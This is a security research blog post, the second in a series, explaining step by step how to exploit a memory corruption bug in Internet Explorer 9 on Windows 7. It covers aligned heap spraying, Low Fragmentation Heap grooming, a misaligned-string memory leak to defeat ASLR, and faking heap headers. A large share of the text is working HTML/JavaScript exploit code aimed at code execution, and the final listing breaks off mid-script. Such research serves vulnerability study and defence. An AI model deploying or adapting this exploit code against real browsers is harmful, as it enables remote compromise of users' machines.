A browser is only as strong as its weakest byte – Part 2

As promised, the follow up from our previous post.

Before Thanksgiving, we left off with IE9 coughing up bytes. We’ll poke it some more today and make it do a little dance for us.
Last week we managed to trick IE9 into doing an INC[ADDRESS] for us where we could specify the address. Now it is time to see how much damage we can do with just that. Since we’ll operate under the assumption that everything in the process is ASLR’d the first thing to do to is come up with a way to predict a fixed address we can safely increment. The easiest way to do that will be using an aligned heapspray. In case you’re not familiar with heapspraying, especially heap spraying in Internet Explorer, below is a quick breakdown of the basics of a heapspray.

Throughout this post I will add background information where needed, those sections will be in a grey block so you can skip then if you already know enough about the topic.

Heap Spray

The idea of heapspraying is nothing more than spraying the heap to be able predict the address of memory with known contents… no surprises there. The plan is to allocate a lot of memory in the process so we can safely write/inc a piece of memory that otherwise might not be occupied. However, since we only have a single shot we need to make sure that we can actually manipulate something useful. To do this we need to look a little closer at the way Internet Explorer and Windows 7 manage allocation. It is pretty easy to fill up your process memory with data, but we need to be able to get some reliability into it. And it turns out we can actually do that. Let me show you a sample log file of some allocation of different sizes.

------------- Creating allocations of different sizes
alloc(0x1000) = 0x00e99290
alloc(0x1000) = 0x00e9a298
alloc(0x1000) = 0x00e9b2a0
alloc(0x8000) = 0x00e9c2a8
alloc(0x8000) = 0x00ea42b0
alloc(0x8000) = 0x00eac2b8
alloc(0x10000) = 0x00eb42c0
alloc(0x10000) = 0x068b1fe8
alloc(0x10000) = 0x068c1ff0
alloc(0x80000) = 0x028d0020
alloc(0x80000) = 0x031e0020
alloc(0x80000) = 0x04c10020
------------- All done

You might see a pattern emerging. The first 3 sizes all seem to be at a random addresses, but the last 3 allocations of size 0x80000 all end at 0020. As it turns out, if you make an allocation of (almost) 0x80000 the underlying memory manager will align this to start at a new page. The 0020 is the size of the heap header. If you are testing this with a debugger make sure you disable the debugheap ( -hd flag for windbg commandline) otherwise the header will be 0x30 in size.
If we take the heap header size into account we can actually do the following:

alloc(0x7ffe0) = 0x02cf0020
alloc(0x7ffe0) = 0x04cf0020
alloc(0x7ffe0) = 0x05230020
alloc(0x7ffe0) = 0x06ed0020
alloc(0x7ffe0) = 0x07050020
alloc(0x7ffe0) = 0x070d0020
alloc(0x7ffe0) = 0x07150020
alloc(0x7ffe0) = 0x071d0020

A quick calculation shows that the last 3 allocations are following neatly upon each other creating a uninterrupted stream of bytes under our control.
Since every allocation starts at 0xXXXX0020 even if we do not know the exact starting address of an allocation we can still fill it with a pattern that repeats itself every 0x10000 byte and be confident that at 0xXXXX0020 there is the beginning of our pattern. All we need to do is spray a bunch of allocation and then pick an address that is most likely to be filled with our data, we need to aim a little high to make sure the address is not already used by other IE related data, but not too high so we need too spray too much. I usually use 0x12010020 but you can pick your own.

Alright, back to the matter at hand, we’re going to spray the living daylight out of our process to obtain a safe address to INCrement. The question is: what are we going to spray? If we spray a big string of ‘A’s all we will manage to do is turn one of our ‘A’s into an ‘B’. Not very useful. We need to be able to make a 0x80000 allocation riddled with useful data: pointers, flags, sizes or anything other than just strings data. It has to be a single allocation of 0x80000 or more for it to be properly aligned.

I’m pretty sure there are other options but I ended up using element attributes. If you’re unfamiliar with the way Element Attributes are stored I suggest reading the following section, otherwise skip right ahead.

Element Attributes

We’ll be using element attributes to spray the heap with. Attributes are neat since they contain a lot of interesting data to play with. I’m not the first one to so, Nicolas Joly from Vupen wrote a nice exploit a while ago abusing the way element attributes are stored internally to bypass ASLR and DEP. Let me explain a little bit how the attributes for an element are being stored internally, you can either read it here or on Vupens blog, the information is the same.
When an element has attributes it contains an pointer to a 0x10 sized allocation that contains the number of attributes the element has and a pointer to the actual attribute array.

Every attribute in the table uses 0x10 bytes of memory.
The first DWord contains a set of flags that among other describe the Variant Type of the following data, it also determines if the 2nd dword is a hash value or a pointer to a structure.
The 2nd DWord is either a hashvalue of the name, or a pointer to a structure that contains additional information
The 3rd and 4th DWord are the value of the attribute either directly (In case of, for example Integer values) or a pointer to the value (for example for strings and objects)

The size of the array will grow when more room is needed for additional attributes. It starts off with enough room for 4 attributes, 0x40 bytes in size. Everytime it runs out of space it will add enough room to hold an additional 50% more aatribute, rounded down if needed. So it will grow from 0x40 to 0x60, 0x90, 0xD0 and so on. However as Nicolas Joly from Vupen figured out, if you clone an element containing X attributes the new element will have an attribute array that is precisely big enough to hold X attributes. This can be used to create allocations that are 0x7ffe0 in size, by cloning an element that contains 0x7ffe attributes.

Vupen already showed that the VariantType of an attribute is a prime candidate to have some fun with. However, to my knowledge it is not possible to create all the different variant types with javascript. As such the potential changes we can make are somewhat limited. I have highlighted the variant types I was able to produce using various values for attributes. I might have missed some of course.

  • VT_EMPTY = 0x0000,
  • VT_NULL = 0x0001,
  • VT_I2 = 0x0002,
  • VT_I4 = 0x0003,
  • VT_R4 = 0x0004,
  • VT_R8 = 0x0005,
  • VT_CY = 0x0006,
  • VT_DATE = 0x0007,
  • VT_BSTR = 0x0008,
  • VT_DISPATCH = 0x0009,
  • VT_ERROR = 0x000A,
  • VT_BOOL = 0x000B,
  • VT_VARIANT = 0x000C,
  • VT_UNKNOWN = 0x000D,
  • VT_DECIMAL = 0x000E,
  • VT_I1 = 0x0010,
  • VT_UI1 = 0x0011,
  • VT_UI2 = 0x0012,
  • VT_UI4 = 0x0013,
  • VT_I8 = 0x0014,
  • VT_UI8 = 0x0015,
  • VT_INT = 0x0016,
  • VT_UINT = 0x0017,
  • VT_VOID = 0x0018,
  • VT_HRESULT = 0x0019,
  • VT_PTR = 0x001A,
  • VT_SAFEARRAY = 0x001B,
  • VT_CARRAY = 0x001C,
  • VT_USERDEFINED = 0x001D,
  • VT_LPSTR = 0x001E,
  • VT_LPWSTR = 0x001F,
  • VT_RECORD = 0x0024,
  • VT_INT_PTR = 0x0025,
  • VT_UINT_PTR = 0x0026,
  • VT_ARRAY = 0x2000,
  • VT_BYREF = 0x4000

If you look at this list there isn’t a very likely candidate that will give you memory disclosure when you increase the VariantType by one. That statement isnt completely true, but we’ll revisit that later. But you need to keep in mind that the value for the original Variant Type should lead to something useful for VariantType + 1 without changing the value.

We will spray the heap with a bunch of AttributeArrays containing 0x7FFE elements, every 0x1000th element we will set and the rest we leave ‘null’ which makes it a lot faster to clone them. By setting every 0x1000th attribute we create our repeating pattern and should be able to reliably change attribute data.

The next question is: what are we going to change? I thought about this for a while and tried a few different things and I wont list all the potential tests and reasons why they failed but go straight to something that did work.

As I said, I looked at a few options and decided to change string pointer. We can get a BString pointer in the attribute table by issuing the following line of javascript

elmement.setAttribute('test', 'aaaaaaaaaa');

A BString, variant type 0x08 is a string type that is used in a lot of places that use strings in Internet Explorer. The internal representation of the string is a 4 byte string length, followed by the actual (wide character) string data and a (wide char) null termination. A pointer to a BString points to the start of the data, not the size field. I tried to make this visual in the image below.

7-BStringAttribute

If we increase the Value Pointer inside the Attribute array we can move the pointer to the String Data by 1, which is not very useful. Doing that gives you 2 options

  1. If the first byte of your string data is 0x00 you decrease the string length, making it smaller than before
  2. If the first byte of your string data is not 0x00 you end up with a string length between 0x01000000 and 0xFFFFFFFF (theoretically). This however is too big and you wont be able to read back the string into javascript. Also, you’d need a huge piece of contiguous memory behind the string so you don’t crash when reading it back

But, we are not limited by increasing the Value pointer by just 1 byte. If we ignore the normal 4 byte alignment of our data, we can actually increase the value by 0x100, 0x10000 or 0x1000000. The last two options do might be harder to work with, but increasing the pointer to our BString Attribute value by 0x100 looks interesting. Lets see what we can do with that. We do not know what the actual address of our BString will be, but, on Windows7, we can wrestle the heap into a very predictable state by using the way the Low Fragmentation Heap allocates memory. Time for a little bit more background information on the Low Fragmentation Heap (LFH from now on)

Low Fragmentation Heap

First of all, I highly recommend reading Understanding the Low Fragmentation Heap by Chris Valasek who goes into the nitty-gritty details of the LFH on Windows 7.
The main thing you need to know about that LFH is that it is very predictable in the way it allocates memory. At least it is on Windows 7, Windows 8 is another story thanks to mr Matt Miller who introduced randomness into the allocation routines (Thanks :( ). Anyways, back to windows 7 and the predictability. First of all the LFH will handle incoming allocation requests based on its size. Allocations are grouped per 0x8 bytes, each group gets its own bucket assigned. Once the Heap allocater decides to use the LFH from a certain allocation size all allocation in that group will be server from the bucket created for that group, and a new bucket will be created once the original bucket is full.

The bucket is a contiguous piece of memory capable of holding a certain amount of user blocks. User Blocks are the final pieces of memory that your program actually works with. Those User Blocks are returned in a linear fashion in Windows 7.

The User Blocks are preceded by a 0x8 byte block header that we will abuse later in this blog. When a piece of memory is freed it will be available again for the next allocation of the same size (mod 8 byte). Since the allocation are handed out linearly it is pretty easy to manipulate the heap into putting allocations in the exact order that you want and need for exploitation. Pretty neat and useful.

By using the powers invested to us by the LFH we can manipulate the heap state to have some useful data follow our BString Attribute. We can then increase the pointer to the BString in our attribute table by 0x100 effectively moving the BString into the next allocation (if we choose the right size etc). I went with a BString size of 0x8A. The reason for that is multiple:

  1. BString size 0x8A occupies 0x90 bytes of memory (add 0x4 for Size and 0x2 for u0000)
  2. 0x90 + 0x100 lands in the next allocation with a few bytes to spare
  3. The way attribute tables grow (see a few paragraphs back) 0x90 is a size the attribute array will reach when growing

So the plan is to move a BString pointer inside an attribute table by 0x100, this can be achieved by asking the process to do an INC[AttributeValue1 + 1] where AttributeValue1 points inside our Attribute heapspray and contains a pointer to a BString contained in a memory block of size 0x90. Due to the predictable allocation base of a huge attribute table we can predict at what address in memory a pointer the the BString will be available. We dont know which pointer it is, or what the value is, but that doesnt matter.
The memory right after the BString will contain an attribute table containing 0x9 Attributes and thus also occupying 0x90 bytes (which is why they fit next to each other).

If do a calculation based on this setup we’ll see the following result. Assuming, for sake of easy calculation, that our Bucket serving allocations of size 0x90 starts at offset 0x00000000:
0x00000000 Start of 8 byte Block Header for allocation 1 (string)
0x00000008 DWord Size of the String
0x0000000C Start of our String Data
0x00000096 Terminating 0000 for our string
0x00000098 Start of 8 byte block header for allocation 2 (attribute table)
0x000000A0 Start of Attribute Table Data
0x00000130 Start of 8 byte block header for allocation 3 (string)

The Attribute table will have the value 0x0000000C as a pointer to our BString object. We can change that to 0x0000010C. This falls right into the Attribute table data. Attributes take up 0x10 bytes of memory so 0x10C – 0xA0 (start of table) == 0x6C. So the pointer of the BString will point into the 7th Attribute. Since the size of the BString is located at BString – 4 the size will now be at offset 0x8 of the 7th attribute in the table.

This is perfect since we can have full control over that value. We also have enough room to leak some information from the attribute table.
This might sound a little confusing so I’m going to try and add an image to explain it visually. The size of the string after we ‘adjusted’ the pointer to it must be reasonable which is why it is important that we can control this and not just point it at random memory.

12-IncMemory
In this very well made image, the grey fields are memory containing Heap Header information, the Yellow block is the size for the String Data. The black arrow was suposed to point nicely to the beginning of the string data but I managed to mess that up. The red line is our ‘new’ pointer after we INCremented it and it now points in the middle of the next allocation.

Now, a nice thing about attributes is that there are ‘default’ attributes for certain objects, which is useful because it means the Attribute Table will contain a pointer to a structure in mshtml.dll for those attributes. A drawback is that those attributes always ‘float to the top’ of the attribute table when you add them so we’ll need to find an object that has at least 8 default attributes so that we can leak an address inside mshtml.dll.
A good candidate is a body element. This element has at least 9 default attributes and allows us enough flexibility to set the BString size to be reasonable, leak an address from mshtml and even some more information on heap allocations.

So the plan is:

  1. Before triggering the crash we create an element with an attribute table containing 0x7FFE elements
  2. Clone this element a few times to create 0x800000 size attribute tables that are nicely aligned in memory
  3. Loop over the cloned elements and:
    1. Set every 0x1000th element to be a string size 0x8A
    2. Create a body element and add 9 default attributes
    3. We now have the heap set up in a way that strings and attribute tables are following each other in memory
  4. Trigger the vulnerability increasing the BString pointer in the attribute heapspray by 0x100
  5. The process shouldn’t crash and we can continue with our javascript
  6. Loop over all the cloned elements and read back every 0x1000th attribute
  7. Find find the string that is not 0x8A in length (actually 0x8A/2 due to wide characters being used)
  8. The string data found contains pointers to mshtml.dll and some additional information
  9. Step one, memory leak has been accomplished!

The resulting HTML code looks like this:

<!doctype html>
<HTML>
  <head>
    <script>

      lfh = new Array(20);
      for(i = 0; i < lfh.length; i++) {
        lfh[i] = document.createElement('div');
        lfh[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
      }

      function setinput() {
        try { document.write('Timber'); } catch(e) {}

        // I used 2 area element to make sure we reoccupy freed memory (there is a reason behind this that doesnt fit on this page)
        d = document.createElement('area');
        d.shape = "poly"
        // Our BString pointer is located at: 0x12010020 + 0x8
        // We want to INCrement 0x12010020 + 0x8 + 1  to add 0x100 and not 0x1
        // The code does: inc     dword ptr [esi+0A0h]   so we need to substract 0xAO from the values leaving 0x1200FF89 which is 302055305 decimal
        d.coords = "1,2,302055305,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48";
        d2 = document.createElement('area');
        d2.shape = "poly"
        d2.coords = "1,2,302055305,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48";

        a = document.createElement("div");
        a.clearAttributes()

        //Step 1
        for(i = 0; i < 0x7ffe; i++) {
            a.setAttribute("attr" + i, null);
        }
        mem = new Array(400);
        // Step 2
        for(i = 0; i < mem.length; i++) {
          mem[i] = a.cloneNode(1);
        }

        bodies = new Array()
        // Step 3
        for(j = 0; j < mem.length; j++) {
          for(i = 0; i < 0x7ffe; i += 0x1000) {
            // Step 3.1
            mem[j].setAttribute("attr" + i, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
            // Step 3.2
            b = document.createElement('body');
            b.title = 'a';
            b.id = 'a';
            b.text = 'a'
            b.bgColor = 1
            b.topMargin = 1
            b.bottomMargin = 1
            b.leftMargin = 1
            b.rightMargin = 4
            b.setAttribute('ropchain', bodies.length)  // This will actualy give us the index of the body element we are leaking.
            bodies.push(b);
          }
        }
        // Saving the attributes so Garbage Collection wont kill them accidentally
        document.body.setAttribute('mem', mem)
        document.body.setAttribute('bodies', bodies)
        return true
      }

      function loaded() {
        document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput)
        // Step 4
        document.getElementsByTagName('input')[0].focus();

        // Step 6
        for(j = 0; j < mem.length; j++) {
          for(i = 0; i < 0x7ffe ; i += 0x1000) {
            //Step 7
            if(mem[j].getAttribute("attr" + i).length != 0x45) {
              //Step 9
              LeakInfo = "Size of the attribute is = " + data.length + "n";
              LeakInfo += "Raw data: n"
              LeakInfo += escape(data) + "nn";
              mshtmlAddress = data.charCodeAt(4) + data.charCodeAt(5) * 0x10000
              LeakInfo += "Address of mshtml code is 0x" + mshtmlAddress.toString(16) + "n";
              bodyindex = data.charCodeAt(14) + data.charCodeAt(15) * 0x10000
              LeakInfo += "Index of the leaked body = 0x" + bodyindex.toString(16);
              alert(LeakInfo);
            }
          }
        }
      }
    </script>
  </head>
  <body onload="loaded();">
    <input value="mydata" type="text"></input>
  </body>
</html>

This should give you the following alert box
8-Leaked
You might wonder how we end up with a string size of 50. The reason behind this is that the attribute value for ‘leftMargin’ is what is being used as the size of the string and for some reason the value ‘1’ is actually saved as ‘100’ (decimal). I didn’t care enough to dig into why it does that since it is sufficient for our goal.

If you read the source code you see that I also add the index of the leaked body element in the ‘bodies’ array so we know exactly which body element attribute table we managed to leak.

So step 1 of our exploit has been achieved, we have leaked an address from mshtml.dll back into our javascript that we can then use to bypass ASLR. This is not ideal since mshtml.dll changes quite frequently and we don’t want to contentiously update our ROP chain to account for those changes. It would be ideal if we could leak arbitrary memory from this point on and make our ROP chain more reliable. We also still need a way to actually take control over the flow of execution of the program since all we have done so far is leak some memory.

You might think we can just change the value of our misaligned string attribute causing it to (partially) overwrite the body attribute table it points to, and this is true, but not as straight forward as you might think. Lets just try it and see what happens. After showing the alert box containing the leaked information we add a single javascript line to change the value of the attribute:

mem[j].setAttribute("attr" + i, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")

Running this will generate the following crash

Critical error detected c0000374
(59c.ab4): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=77250b0a edx=0316c4b5 esi=006b0000 edi=0585aaf0
eip=772ae695 esp=0316c708 ebp=0316c780 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
ntdll!RtlReportCriticalFailure+0x29:
772ae695 cc              int     3
1:019> k
ChildEBP RetAddr
0316c780 772af5c9 ntdll!RtlReportCriticalFailure+0x29
0316c790 772af6a9 ntdll!RtlpReportHeapFailure+0x21
0316c7c4 772af912 ntdll!RtlpLogHeapFailure+0xa1
0316c81c 7726aba7 ntdll!RtlpAnalyzeHeapFailure+0x25b
0316c910 77213492 ntdll!RtlpFreeHeap+0xc6
0316c930 74c56e6a ntdll!RtlFreeHeap+0x142
0316c944 7500449b ole32!CRetailMalloc_Free+0x1c [d:w7rtmcomole32comclassmemapi.cxx @ 687]
0316c968 75003ea3 OLEAUT32!APP_DATA::FreeCachedMem+0xc1
0316c984 71a7c73b OLEAUT32!SysFreeString+0x6b
0316c990 71a7be2f MSHTML!CAttrValue::Free+0x61
0316c9b4 71a7bdc3 MSHTML!CAttrArray::SetAt+0x61
0316c9c8 71a7be4b MSHTML!CAttrArray::SetAt+0x38
0316ca00 719e1c4c MSHTML!CBase::InvokeAA+0x273
0316ca90 719cedb8 MSHTML!CElement::ie9_setAttributeNSInternal+0x380
0316cac4 719ced22 MSHTML!CElement::ie9_setAttribute+0x68
0316cb10 712385fe MSHTML!CFastDOM::CElement::Trampoline_setAttribute+0xc0
1:019> dd 0316c930
0316c930  0316c944 74c56e6a 006b0000 00000000
0316c940  0585aaf8 0316c968 7500449b 74d466bc
1:019> dc 0585aaf8
0585aaf8  00000064 00000009 00011400 71c629e0  d............).q
0585ab08  00010000 3f800000 80000301 002e46bf  .......?.....F..
0585ab18  00000c19 007310d8 3fc0c281 88000000  ......s....?....
0585ab28  0000008a 00410041 00410041 00410041  ....A.A.A.A.A.A.
0585ab38  00410041 00410041 00410041 00410041  A.A.A.A.A.A.A.A.

So what is happening here? Well, when you set an attribute that already exists mshtml will simply delete the existing value and then set a new value (actually, it will first add the new value and then delete the old one I believe). So we and up calling ntdll!RtlFreeHeap with an address that is not an actual heap allocation, it is an allocation but not the start of an allocation and thus it fails to free the address. Is this the end of the line? No, luckily the world has people like Ben Hawkes and Chris Valasek who do all the hard work for us and reversed most of the LFH allocation and free routines. As it turns out we can us a small variation on Ben Hawkes SegmentOffset technique to trick ntdll into accepting our misaligned address as a legit address and allowing it to be freed. To understand this we need to look a little bit closer at the Block Header that precedes an userblock (allocation).

LFH Allocations (user blocks) are preceded by an 8 byte allocation containing some information on the state of the user block, its size and such. By looking at the RtlpLowFragHeapFree it looks like the first DWord is used to determine the size of a block, but it is encoded. The address of the _HEAP, the allocation itself and ntdll!RtlpLFHKey are XOR against each other to determine this value.
The 2nd DWord contains a few flags, but those fields might differ based on the state the heap block is in. Luckily the only bytes we are interested in are the last two bytes. Ben Hawkes determined that there was a special value for the last byte that, if set to 0x5, let ntdll move the heap header back by an amount determined by the second to last byte. A quick look at the code that does this in ntdll!RtlpLowFragHeapFree shows that that is indeed to case:

9-RtlLowFragHeapFree

edi is our original HeapHeader (comming from edx – 8, with edx being the address we want to free). If the value of byte [edi+7] equals 0x5 then we grab the byte at [edi+6] multiply this by the block size (8 incase of 32 bits process, done through ‘shl eax, 3’) and back up the heap header by that amount: sub edi, eax;
It will then use the ‘new’ heap header for processing the rest of the function, including any encoded data.

So the plan is: add a fake HeapHeader in front of our String, set the value of byte 8 to 0x5 and the value of byte 7 such that it will point to a correct Heap Header. If you remember our calculation from a little while back, we determined that the BString pointer in the attribute heap spray pointed at offset 0x6C into the body attribute table. The actual allocation starts at 0x68 into the allocation. The Heap Header for this block is located 0x68/8 = 0xD blocks in front of our allocation.

The only problem is that in the current situation, with the BString pointing in the middle of an Attribute Array we cannot control the values of the fake Heap Header. But that is not a big issue, we can free the Attribute Array and replace it with something that does give us enough control. All we need to do is add one more attribute to the correct body element resulting in the attribute array being too small and expanding to 0xD0 bytes, leaving our 0x90 original allocation up for grabs again.

We’ll add another area element, set the coords property to have the correct values for the fake LFH and then delete the misaligned string. At this point we have two options to continue, each of which has its own challenges. The reason we have two options is that the strings used for the attributes are allocated using OLEAUT32!SysAllocString and as Alexander Sotirov described in his Heap Fengshui paper, the OLEAUT32 has an internal caching system.

What does this mean for us? Well, as I mentioned, we have two options.

  1. Let the freed (misaligned) memory allocation be added to the cache for re-use. This will allow us to do a partial overwrite of a legit allocation
  2. Let the freed address be freed by filling the cache. This allows us to free this address multiple times since we have another pointer pointing to it (the .coords property)

Both steps require some preparation, and I will mainly focus on the first option since I think that’s the funnier of the two. What I do want to point out is that if you prefer to take route two you need to consider the following things:

  • You need to fill the OLEAUT32 cache before free-ing the attribute (see Alex’s paper), this will force it to call ntdll!RtlFreeHeap() on the misaligned address
  • RtlFreeHeap() requires you to set the first DWord of the fake heap to either 0x1, 0x2 or 0x3 to safely call a legit ‘RtlpInterceptorRoutines’ routine and actually free the address
  • Once the memory is freed you can fill it again with whatever you want
  • By using ‘FakeLFH.coords = null;’ you can Free the memory again, effectively removing the object or whatever you put there is the previous step

But, for shits and giggles, we’ll opt for the first option. The steps that we need to set before this can work are

  1. Create a Fake LFH Header with the .coords property
  2. Clean out the OLEAUT32 cache, using Sotirov’s ‘plunger’ technique
  3. Free the misaligned string. Since the cache is empty OLEAUT32 adds this address to the cache
  4. Replace the area.coords with something you want to (partially) overwrite
  5. Allocate a string of the right size which will re-use the cache (misaligned) address from the OLEAUT32 cache
  6. Win??

Quick note: even when you want OleAut32 to cache the address and wont let it go through RtlFreeHeap you still need a fake LFH Header because oleaut32 will call ntdll!RtlSizeHeap which uses the LFH Header to determine the size of the allocation.

So what object/data are we going to partially overwrite? Since we were having so much fun with attribute tables, I decided to overwrite part of an attribute table, which should give us enough control to read any address and call any function, if we play it right. Theoretically we can keep replacing the memory by repeating the steps listed above, but there is always the slight risk of messing up when you make that many allocations and frees. So what we’ll do is overwrite the attribute table with data that sets one of its attribute to be of type 0xC, this is a VariantType, and add a pointer to memory that we control. Once we have done that we no longer need to alter the original Attribute Array but we can just alter the memory the Variant points to and set this to whatever we want.

So we’re looking for a piece of memory of roughly 0x10 bytes (thats how much we need to store a Variant Variant), that we can manipulate without additional memory allocations and frees. There are many answers to this question, but the one I’ll be using is an AnchorElement (‘‘). Just like the area element this element has a property ‘coords’, but it only takes 4 values and stores them inside the object data. If we alter the coords value of an AnchorElement no additional allocations and or frees will happen and 4 coord values take up 0x10 bytes so that fits perfectly.

How do we know where we can find an ‘A’ element in memory you might ask? Simple, we add it to the body element attribute table that we leak. This will give us the heap address of an ‘A’ element and that is enough information to know where the coords values are in memory (offset 0x50 from the base of the ‘A’ element in the version of mshtml we are playing with). There are some limitations to using this, mainly the fact that it will ‘sort’ the coords you give it on size, but since we only really need to first and the third value and the first value (describing the VariantType) can be as low as 0x0001XXXX we can read any memory above that value.

By setting the fake variant type to be an Integer and setting the flag for ‘VariantByRef (0x40)’ we can read Integers from the address we specify in the third coord value. You can probably read while arrays of integers if you set everything right, but I didn’t care enough to figure that out. What you do need to remember is that the value returned to javascript is turned into a string, not a number so you need to call parseInt() on it before you can use it as an actual number.

We know the hashvalue of the attribute name by reading it back from the Leaked Info.

The combination of the leaked address from mshtml.dll and the possibility to read any memory address you want allows us to find the actual start of mshtml.dll. We can do this by taking the leaked mshtml.dll address and doing an AND with 0xFFFF0000 and testing for “MZ” while substracting 0x10000 until we find it. Once you have the base address of mshtml.dll we can parse the PE file structure to get to the Import Table and grab the address of Kernel32.dll, Parse Kernel32.dll to get the address of ntdll.dll and that should be enough information to create a ROP Chain.

Now if you want Execution control after disclosing enough memory to bypass ASLR, the easy way is the set your fake variant attribute to be of type VT_DISPATCH (0x09), this will cause oleaut32 to call ExtractValueProperty when you attempt to read back the attribute. This function contains a virtual call that is taken from the data within your fake attribute, eax is our fake Variant.

10-VirtualCallInOleaut32

Enough talking, time to tie it all together. The code below is a (almost) full working exploit created for mshtml version 9.0.8112.16446, kernel32 version 6.1.7601.17651 and ntdll version 6.1.7601.17725
Since you can disclose memory you can make this exploit work with other version of the modules, as long as the mshtml.dll doesnt contain the patch for this vulnerability.

<!doctype html>
<HTML>
  <head>
    <script>

      lfh = new Array(20);
      for(i = 0; i < lfh.length; i++) {
        lfh[i] = document.createElement('div');
        lfh[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
      }

      function setinput() {
        try { document.write('Timber'); } catch(e) {}

        // I used 2 area element to make sure we reoccupy freed memory (there is a reason behind this that doesnt fit on this page)
        d = document.createElement('area');
        d.shape = "poly"
        // Our BString pointer is located at: 0x12010020 + 0x8
        // We want to INCrement 0x12010020 + 0x8 + 1  to add 0x100 and not 0x1
        // The code does: inc     dword ptr [esi+0A0h]   so we need to substract 0xAO from the values leaving 0x1200FF89 which is 302055305 decimal
        d.coords = "1,2,302055305,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48";
        d2 = document.createElement('area');
        d2.shape = "poly"
        d2.coords = "1,2,302055305,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48";

        a = document.createElement("div");
        a.clearAttributes()

        //Step 1
        for(i = 0; i < 0x7ffe; i++) {
            a.setAttribute("attr" + i, null);
        }
        mem = new Array(400);
        // Step 2
        for(i = 0; i < mem.length; i++) {
          mem[i] = a.cloneNode(1);
        }

        bodies = new Array()
        // Step 3
        for(j = 0; j < mem.length; j++) {
          for(i = 0; i < 0x7ffe; i += 0x1000) {
            // Step 3.1
            mem[j].setAttribute("attr" + i, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
            // Step 3.2
            b = document.createElement('body');
            b.title = 'a';
            b.id = 'a';
            b.text = 'a'
            b.bgColor = 1
            b.topMargin = 1
            b.bottomMargin = 1
            b.leftMargin = 1
            b.rightMargin = 4
            b.setAttribute('extra', bodies.length)  // This will actualy give us the index of the body element we are leaking.
            bodies.push(b);
          }
        }
        // Saving the attributes so Garbage Collection wont kill them accidentally
        document.body.setAttribute('mem', mem)
        document.body.setAttribute('bodies', bodies)
        return true
      }

      function loaded() {
        document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput)
        // Step 4
        document.getElementsByTagName('input')[0].focus();

        Found = false
        // Step 6
        for(j = 0; j < mem.length; j++) {
          for(i = 0; i < 0x7ffe ; i += 0x1000) {
            //Step 7
            if(mem[j].getAttribute("attr" + i).length != 0x45) {
              Found = true
              data = mem[j].getAttribute("attr" + i)
              //Step 9
              LeakInfo = "Size of the attribute is = " + data.length + "n";
              LeakInfo += "Raw data: n"
              LeakInfo += escape(data) + "nn";
              mshtmlAddress = data.charCodeAt(4) + data.charCodeAt(5) * 0x10000
              LeakInfo += "Address of mshtml code is 0x" + mshtmlAddress.toString(16) + "n";
              bodyindex = data.charCodeAt(14) + data.charCodeAt(15) * 0x10000
              LeakInfo += "Index of the leaked body = 0x" + bodyindex.toString(16);
              VariantAnchor = document.createElement('a');

              bodies[bodyindex].setAttribute('extra', VariantAnchor);

              data = mem[j].getAttribute("attr" + i)
              VariantAnchorAddress = data.charCodeAt(14) + data.charCodeAt(15) * 0x10000

              LeakInfo += "nHeap Address of the Anchor = 0x" + VariantAnchorAddress.toString(16);
              alert(LeakInfo);

              //Adding more attributes frees the 0x90 allocation since it now needs 0xD0 memory.
              bodies[bodyindex].setAttribute('beGone', 1);

              FakeLFH = document.createElement('area'); // to replace the now freed 0x90
              FakeLFH.shape = "poly"
              // Values set to contain a 'correct' LFH header at the right location
              FakeLFH.coords = "1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,84738048,26,27,28,29,30,31,32,33,34";

              //To keep the number of allocation between adding our misaligned address to the cache and re-using it we will do as much as possible at this point.
              AlteredBody = document.createElement('body');
              AlteredBody.title = 'a';
              AlteredBody.id = 'a';
              AlteredBody.text = 'a'
              AlteredBody.topMargin = 1
              AlteredBody.bottomMargin = 1
              AlteredBody.rightMargin = 1
              // We have 6 attributes, adding any more will make it jump to a 0x90 sized allocation

              //Get the address of our 'A' element as a string value, specifically offset 0x50 of the 'A' which contains the .coords values
              VariantAnchorAddressStr = String.fromCharCode((VariantAnchorAddress+0x50) % 0x10000, (VariantAnchorAddress+0x50) / 0x10000);

              //this will be: random + VariantType + 'extra' HashNo + Value + random + enough data
              //If you are smart you actually add the correct LFH Header between this and the next allocation you are actually overwriting.
              newdata = "AA" + "u0C01u8000" + data.charAt(12) + data.charAt(13) + VariantAnchorAddressStr + "u4242u4242AAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";

              //Allocating some small strings will re-use the potential cache leaving some room for our misaligned address to fit into the cache as well.
              //This is not the perfect way but it will suffice for this demo
              NumCached = 6;
              for(k = 0; k < NumCached; k++) {
                FakeLFH.setAttribute("cache" + k, new Array(0x40/2).join("A"));
              }

